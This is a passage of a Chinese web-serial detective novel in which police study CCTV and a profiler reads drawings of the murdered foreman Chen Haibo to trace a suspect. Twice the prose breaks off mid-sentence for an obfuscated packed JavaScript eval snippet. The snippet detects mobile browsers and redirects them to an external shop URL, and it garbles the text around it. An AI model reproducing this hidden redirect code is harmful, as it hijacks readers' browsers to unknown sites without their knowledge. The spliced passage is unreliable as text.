赵与从电脑上调出1号晚上20点左右陈海波出现的画面,画面很黑,之前确认的“正脸”,还是陈海波掏手机,脸被屏幕光照亮才确认的身份。而在没有手机光的画面里,只能看到陈海波走进保安室的影子。
动了两下鼠标,画面一动不动——电脑卡了。
“我电脑卡了,谁能帮忙处理下这个画面?”
一向积极的谢可立即举手:
“我来我来,赵队我来。”
她用笔记本点开那张截图,随后导入进了一个全国通用的软件——
美图秀秀。
“昂?”一旁的老李目瞪口呆,“你用这个?”
“昂。”谢可单纯地点头。
“不是有个专门处理图片的软件吗?”老李指了指自己桌面的警队常用的专业软件。
“美图秀秀也是专门处理图片的呀。”
谢可理直气壮:
“而且这个软件这么多年屹立不倒,是有人家的道理的。我之前都是用这个,你看哈,这个过曝一拉,然后把暗部处理也拉过来,再调整一下清晰度......”
她一边说一边操作,几秒的工夫,陈海波手里那团黑漆漆的东西就现了形——一袋凉拌熟食。
众人用惯了警队的软件,还是第一次碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611963|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到谢可这样的。纷纷笑了起来——别说正规不正规,你就说调没调出来吧?
一旁,柳回笙也笑了,用膝盖碰了一下满脸青黑的赵与,低声用两个人听到的音量说:
“邪修也是修,习惯就好。”
过后,保安陈光的口供也证实,1号晚上进入黑独山之前,死者陈海波的确跟他一起吃了凉拌鸡杂。吃完后不久,保安拉了电闸,陈海波开着皮卡进山。
“你确定他是一个人进去的吗?”赵与追问。
“肯定确定啊,那天晚上就我跟他两个,在保安亭那边吃的。吃了半个多小时吧,他才进去的。”
“他走之后你干了什么?有没有看到可疑的人?”
“没有。警官,你什么意思哦?你该不会怀疑我吧?我真的就跟他吃了一顿饭。后来拉了电闸,我就睡瞌睡去了!”
保安胆小又怕事,没有思考能力又爱疑神疑鬼。之前顶着压力也不肯交代矿队,现在赵与稍微多问一句,他又担心自己惹上不该惹的人命官司。
“我的意思是,保安队里的几个人,中途有没有苏醒,或者离开?”
这一点陈光倒是比较笃定:
“这个不可能,四哥跟我说要过来的时候,我就给他们下了安眠药,没到第二天中午醒不过来的。”
月黑风高的深夜,月光在铁皮房表层镀了一层蜡,在深山的狼嚎中骤缩成单薄却坚韧的保鲜膜,密不透风。
接着负责调查其他方向的小组也汇报了相关情况,案情走到这一步,杀人动机几乎锁定两个——矿队贪污;家庭暴力。
老李怎么看怎么蹊跷:
“我还是觉得奇怪,就算是陈海波贪污了赔偿款,也不至于杀人吧?可以直接去找矿老板对峙,让陈海波把贪污的钱吐出来。家暴就更难说了。那天晚上王山红有不在场证明,而且杀人的也是个男的。就算王山红买凶杀人,去哪找愿意给她卖命的人呢?”
横看竖看,杀人动机都不那么充分。
毕竟不是冲动杀人,是有预谋的谋杀,精心设计,小心动手,凶手有这个心思,还要不回赔偿款,离不了婚?
赵与认同老李的推测,说到:
“应该还有线索,我们遗漏了。矿队应该还有秘密,等下我重新分组,对矿队的成员、家属,仔细再录一次口供。”
“好。”
“工地那边我熟,我可以带人过去。”
“家属也是一个很重要的点,我可以再去一次陈家村。”
众人斗志昂扬,大有今天就要将凶手抓捕归案的架势。
柳回笙坐在一旁,于沸腾的呼声中静静坐着,似寒风呼啸中屹立的白玉高塔。
“我有一个想法。”
少顷,柳回笙开口。
赵与朝她点头,示意她说。
柳回笙拿起桌面的A4纸,说到:
“麻烦大家录口供的时候,让他们画一张死者的画像。”
“画像?”
众人皆是疑惑。
“画死者干嘛?”
“矿队的都是一群大老粗,哪会画画?”
“就是的,就算画了也认不出来。”
柳回笙在一片争议中端坐着,等第一波的质疑过去,眼神依旧澄明笃定:
“不用画多好,也不用对照死者的长相。相反,画技越低,越能暴露他们内心的想法。只要他们画出自己心里的死者,我就能知道,人是谁杀的。”
17.画像(二)
当天下午14点,录口供的队员陆续折返,带回了柳回笙需要的画像。
矿队加上老板15人,矿工家属43人,一共58张画像,或简或繁一起摞在了柳回笙办公桌上。
赵与带队去陈家村录口供,路程遥远还没回来。加上她手里那一摞死者近邻亲属的22张,一共是80张画像。
“死者的儿子智力残疾,配合起来有点难度,你稍等我一下。”
赵与打电话回来沟通情况。
“好,不着急,我先看矿队的。”
柳回笙把第一张画纸的角落碾平。
挂完电话,蹲守在一边的谢可从办公桌挡板上方升了起来,一脸讨好的笑:
“嘿嘿,笙姐。”
柳回笙被吓得一抖,看到谢可龇开的大门牙,松气,没好气地问:
“吓我一跳,什么事?”
谢可忙道歉:
“吓到你哦?不好意思啦。那个......我就是想说,你这个画像,能不能跟我透露一下呀?”
“透露什么?”柳回笙问。
“就,你侧写的方法呀。”谢可依样画葫芦地在空气里画了两笔。
“侧写的方法有很多。”柳回笙说。
“就你这个画像嘛,我刚去搜了,有一种「绘画心理学」,笙姐,你是不是学过?”
看她如此积极,柳回笙也不搞那些居功自傲的做派,解释到:
“绘画其实是一种方式,文字、画稿、手工,都会反应出一个人的心理状态。比如——”
“——等等。”
说到一半,谢可却打了个暂停的手势,朝身后招手:
“快来。”
嗖的一声,原本坐在办公室各个桌上的刑警突然就蹿了上来,将柳回笙的桌子团团围住。
“嘿嘿,小柳。”
“师姐,我也来。”
“柳教授。”
面前突然围起一圈高墙,柳回笙愣了一下,颇像流浪在街角被一群铲屎官抢着领养的白猫。
眨了一下眼睛:
“你们......干嘛?”
“我们听课啊。”
“就是的,小柳,我都听说了,你跟赵队之前在蓊城那边靠着侧写破了不少案子。”
“我妹妹就在蓊阳公大读书,你上周去上课,她说你讲得可好了。”
“要是我们都会这些侧写,以后破案效率不就上去了嘛?”
“柳教授,支两招呗?”
突然被一群比自己年龄大的前辈哄着,柳回笙有点不习惯。转念一想,在侧写这个领域,她才是当之无愧的前辈,于是椅子又坐实了几分,接着之前的话往下说:
“那我继续......绘画其实是观察心理的一种很好的渠道,现在很多心理医生在了解患者情况的时候,会让对方画一幅画。有时是房树人,有时是自画像,原理其实是一样的。人物在画纸里的占比、头身大小、五官细节,都能体现人物的特征。”
她说着拿起第一张画像:
“比如这张画像里,陈海波的嘴巴很大,说明在这个人眼里,陈海波是一个很爱交流的人。同时,他给陈海波画的肩膀非常宽,说明他认为,陈海波有责任心、有担当——这两点都比较符合陈海波在普通人眼里的形象。
但是有一点,他没画耳朵。
嘴巴和耳朵是人跟外界沟通的工具,一个用来说,一个用来听。他不画耳朵,说明在他眼里,陈海波虽然很爱表达,但很少倾听别人的意见,比较我行我素。”
柳回笙说着看了一下后几张:
“都没有耳朵。一个人的画像可能比较主观,但很多个人都这么觉得,说明陈海波在矿队里的确是一意孤行的做派。”
她一张一张地往后翻,每看到可以补充的,就停下来解释两句。
“这是矿老板画的。他的画像里,陈海波是半侧的,不是正脸。侧脸的画像一般表示隐瞒、孤僻、神秘。结合其他人给陈海波的画像,他不是一个孤僻的人。反而,他会为了钱不择手段,在老板面前一定会卖力地表现。老板这么画,只有一个解释——
他知道,陈海波有一些事情瞒着他。很可能,他猜到工人赔偿款没有如实地给到家属,但他没有去查证。或许,他思考过后选择相信陈海波,或许,他觉得即便查出来也不重要。他要矿,陈海波能帮他搞矿。他不想失去这个工头。”
谢可听着攥紧拳头:
“真可恶,那些可是工人用命换来的赔款,就这么被贪了!”
老李倒是见得多了:
“很多资本家是没有良心的,不都说么,太有良心的人赚不到钱。”
柳回笙一张一张地往后翻,翻到一张落款为“张明富”的画像时,翻动的手停了下来。
“这个人......”
老李虚眼看了眼落款,立即回忆出对应的身份:
“张明富,矿队的,跟陈海波一个村。昨天带回来那个「张强」就是他儿子。”
柳回笙确认了一下:“就是那个靠挖矿,给家里重新盖了新房子的那个?”
老李点头:“对,就是他。这些人里他跟陈海波的关系最近,可能分的钱比其他人多点。所以昨天张强做笔录的时候,才一直帮陈海波说话。”
谢可观察着柳回笙的神情,揣测着问:
“笙姐,是不是有问题呀?”
柳回笙犹豫了一下,道出缘由:
“他把陈海波的两只手都涂黑了。”
“嗯,可能挖矿的时候手就是很黑吧?很多全身都是黑的。”谢可猜测。
“那为什么不涂其他地方,不涂脸,就涂手?”
“笙姐,你想说什么?”
正当此时,赵与的信息传来——20张画像到手,她用手机传给柳回笙。
柳回笙连接打印机打印出来,将几张重要的排在办公桌上摆开。
从左到右依次解释:
“这张,宋阿妹的,她是最反对陈海波殴打妻子的,所以她的画像里,陈海波拿着一根棍子。
这是陈海波的儿子画的,他有智力残疾,笔画比较简单,但他的绘画里,陈海波的手是抬起来的。抬起来做什么?殴打妻子。
这张,陈海波的妻子「王山红」的。她长期遭受殴打,她的描述里,陈海波的手一样被涂了深色。但,涂得没有张明富那张黑。”
“把手涂黑,是不是代表什么?”谢可终于问到这一点。
柳回笙点头:
“代表罪恶。”
漆黑的手,洗不清的罪恶。
谢可沉思了几秒钟,想到:
“可能,这个张国富知道陈海波吞了工人的赔偿款呢?他又比较正直,所以认为陈海波这种做法很罪恶。”
老李也表示:“对,我看他不仅知道,还帮陈海波打了掩护,也分了一笔。不然才半年多,哪来的钱盖房子?”
柳回笙不这么觉得:“但他们一家,用着别人拿命换来的赔偿款,又是盖房子,又是装修,看起来没有半点罪恶感。而且,他涂的颜色,比王山红涂的还要深。”
罪恶的程度,比长期遭受殴打的王山红认为得还要重。
谢可的思路打结:“那还能因为什么?”
柳回笙问老李:
“今天去录口供的时候,拍视频了么?”
“拍了。”
老李说:
“昨天你说视频更有用,今天我都拍的视频。你是不是想看张明富的?我给你拉出来。”
“好,谢谢。”
很快,张明富的视频投到了办公室的白墙上。
画面里,张明富坐在桌子前面,上面一件玫红色棉毛衫,下面一条裹满灰的迷彩裤。两只手宛如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618189|187399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水泥砖,指缝里残留着长期劳作洗不掉的黑垢。
问话的是老李,一开始张明富有问有答,直到老李问“之前出事的三个工人怎么回事”。
张明富放在桌上的两只手滑了下去,音调反而比之前高了几度:
“就是出了意外,不小心摔下去了。”
“怎么摔的?”
“我也不知道。还是别个发现的,我跑去看的时候,都断气了。”一边说,一边挠了几下鼻梁。
“三个都是这样么?”
“不是,第一个是矿洞塌了,直接埋下面了,我们挖了两天才挖出来。”边说边用手比划。
鼠标一点,画面暂停。
桌上的手突然放到桌下、说话的时候挠鼻梁,都是说谎的表现,但是在陈述第一个事故的时候,又有用手辅助解释的比划动作。
柳回笙问:“老李,你刑警经验丰富,有没有办过矿队的案子?”
老李愣了一下,说:“之前办过,怎么了?”
柳回笙抿唇,一口气在胸口堵城了石头不断往下压,好半晌,才问出那个可怕的猜想:
“一个正常的矿队,死亡率有这么高么?”
开采不到半年,十几个人的队伍,就死了3个人。
地砖的缝隙钻出冷气,矿洞深处的温度顶开棺材板,冷气顺着脚底心爬上脚腕,盘根错节地编织成一张巨型蜘蛛网,将所有人禁锢在原地。
一个可怕的想法横空出世,从冷气里钻出,钻进脚底心狠咬一口。
“喂,赵与。”
想通之后,柳回笙给赵与拨了电话:
“你们到哪了?”
赵与那边的声音有点嘈杂:
“刚到港口,怎么了?”
“之前矿队有三个工人遇难,家属的画像都拿到了吗?”
“在陈家村的都拿到了,还有两个人的子女在蓊阳,一个务工,一个读书,拿到他们的就齐了。”
“子女的信息有吗?”
赵与顿了一下,柳回笙办案一向从容,极少这么紧急地来找她。一旦这么紧急,真实的情况,只能更急。于是赶紧将刚问到的信息和盘托出:
“一个叫「曾秀英」的,19岁,女,在河海路的「爱尚美容美发」上班。
另一个叫「许建邦」,18岁,男,在「蓊阳汽车职业技术学院」读书。”
两者对比,只有一个符合柳回笙的侧写结果——
【男性,18-30岁,身高170-175,体型偏瘦,左撇子,不吸烟。挖矿事件知情人,很可能是矿工或者矿工家属】
“去职业学院。”
找到关键线索,所有人都打了鸡血。
“什么职业学院?我们要去吗?”
“靠,感觉就是陈海波杀了工人,去骗赔偿金。然后家属知道了,要报复他!”
“这个可能性很大。不然仅仅是吞了钱,家属知道了一般都是去要钱,很少碰到直接杀人的。”
“怪不得凶手知道那么多矿队的细节,肯定是工人生前回家的时候说的。”
“感觉那个张明富还知道很多,我去把他逮回来问一下!只要他松了口,很多线索就都有了!”
“先别慌,现在还没有关键证据,还不能抓人,顶多只能带回来协助调查。”
“之前不是还在死者身上验到过别人的DNA吗?现在比对一圈下来,虽然矿队里面没人吻合,但家属就不一定了。”
“跟赵队报备一下,我跟你一起去抓张明富!”
一群人风风火火就要行动,唯只谢可捧着保温杯待在原地——
刚笙姐给赵队打电话的时候,是不是喊的“赵与”,而不是“赵队”啊?
这两个人,关系好像有点不一般?
怎么大家伙没一个人察觉呢?
她......想多啦?